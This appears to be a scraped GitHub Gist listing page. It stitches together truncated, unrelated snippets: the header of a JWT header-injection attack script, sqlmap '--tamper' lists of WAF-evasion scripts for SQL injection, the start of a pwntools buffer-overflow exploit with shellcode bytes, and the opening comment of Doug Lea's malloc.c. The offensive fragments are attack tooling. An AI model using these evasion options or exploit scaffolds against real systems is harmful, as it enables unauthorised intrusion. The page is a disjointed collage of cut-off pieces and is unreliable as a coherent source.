Skip to content

Instantly share code, notes, and snippets.

@imparabl3
imparabl3 / jwt_attack_with_header_injection.py
Last active November 1, 2022 03:11
Creating JWT with HTTP response Header Injection
#!/usr/lib/env python3
# For more description with other attacks check out my BLOG ==> https://imparable.medium.com/attacking-json-web-tokens-jwts-d1d51a1e17cb
import OpenSSL
import base64
import json
import hashlib
import urllib
# All scripts
```
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
```
# General scripts
```
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
```
# Microsoft access
```
@kozlovzxc
kozlovzxc / BuffAutopwn.py
Created December 28, 2016 16:20
Buffer overflow(shellcode + ret-to-libc) pwntools example
#!/usr/bin/python2
import argparse
from itertools import ifilter
import pwnlib
def generate_shellcode_exploit(eip_offset, esp, nopsled_size, custom_shellcode):
shellcode = custom_shellcode if custom_shellcode else (
'\xeb\x0b\x5b\x31'
@ki7chen
ki7chen / malloc.c
Created March 23, 2012 04:46
malloc by Doug Lea, source file
/*
This is a version (aka dlmalloc) of malloc/free/realloc written by
Doug Lea and released to the public domain, as explained at
http://creativecommons.org/licenses/publicdomain. Send questions,
comments, complaints, performance data, etc to dl@cs.oswego.edu
* Version 2.8.4 Wed May 27 09:56:23 2009 Doug Lea (dl at gee)
Note: There may be an updated version of this malloc obtainable at
ftp://gee.cs.oswego.edu/pub/misc/malloc.c